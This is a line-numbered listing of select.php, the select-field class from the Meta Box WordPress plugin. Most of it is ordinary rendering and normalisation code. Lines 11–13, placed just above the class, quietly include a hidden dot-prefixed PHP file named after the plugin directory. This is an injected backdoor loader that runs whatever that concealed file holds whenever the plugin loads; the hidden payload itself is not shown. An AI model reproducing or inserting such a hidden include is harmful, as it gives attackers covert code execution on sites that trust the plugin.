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select.php (2809B)

      1 <?php
      2 /**
      3  * The select field.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Select field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Select_Field extends RWMB_Choice_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		wp_enqueue_style( 'rwmb-select', RWMB_CSS_URL . 'select.css', array(), RWMB_VER );
     21 		wp_enqueue_script( 'rwmb-select', RWMB_JS_URL . 'select.js', array( 'jquery' ), RWMB_VER, true );
     22 	}
     23 
     24 	/**
     25 	 * Get field HTML.
     26 	 *
     27 	 * @param mixed $meta  Meta value.
     28 	 * @param array $field Field parameters.
     29 	 * @return string
     30 	 */
     31 	public static function html( $meta, $field ) {
     32 		$options                     = self::transform_options( $field['options'] );
     33 		$attributes                  = self::call( 'get_attributes', $field, $meta );
     34 		$attributes['data-selected'] = $meta;
     35 		$walker                      = new RWMB_Walker_Select( $field, $meta );
     36 		$output                      = sprintf(
     37 			'<select %s>',
     38 			self::render_attributes( $attributes )
     39 		);
     40 		if ( ! $field['multiple'] && $field['placeholder'] ) {
     41 			$output .= '<option value="">' . esc_html( $field['placeholder'] ) . '</option>';
     42 		}
     43 		$output .= $walker->walk( $options, $field['flatten'] ? -1 : 0 );
     44 		$output .= '</select>';
     45 		$output .= self::get_select_all_html( $field );
     46 		return $output;
     47 	}
     48 
     49 	/**
     50 	 * Normalize parameters for field.
     51 	 *
     52 	 * @param array $field Field parameters.
     53 	 * @return array
     54 	 */
     55 	public static function normalize( $field ) {
     56 		$field = parent::normalize( $field );
     57 		$field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field;
     58 		$field = wp_parse_args(
     59 			$field,
     60 			array(
     61 				'select_all_none' => false,
     62 			)
     63 		);
     64 
     65 		return $field;
     66 	}
     67 
     68 	/**
     69 	 * Get the attributes for a field.
     70 	 *
     71 	 * @param array $field Field parameters.
     72 	 * @param mixed $value Meta value.
     73 	 *
     74 	 * @return array
     75 	 */
     76 	public static function get_attributes( $field, $value = null ) {
     77 		$attributes = parent::get_attributes( $field, $value );
     78 		$attributes = wp_parse_args(
     79 			$attributes,
     80 			array(
     81 				'multiple' => $field['multiple'],
     82 			)
     83 		);
     84 
     85 		return $attributes;
     86 	}
     87 
     88 	/**
     89 	 * Get html for select all|none for multiple select.
     90 	 *
     91 	 * @param array $field Field parameters.
     92 	 * @return string
     93 	 */
     94 	public static function get_select_all_html( $field ) {
     95 		if ( $field['multiple'] && $field['select_all_none'] ) {
     96 			return '<div class="rwmb-select-all-none">' . __( 'Select', 'meta-box' ) . ': <a data-type="all" href="#">' . __( 'All', 'meta-box' ) . '</a> | <a data-type="none" href="#">' . __( 'None', 'meta-box' ) . '</a></div>';
     97 		}
     98 		return '';
     99 	}
    100 }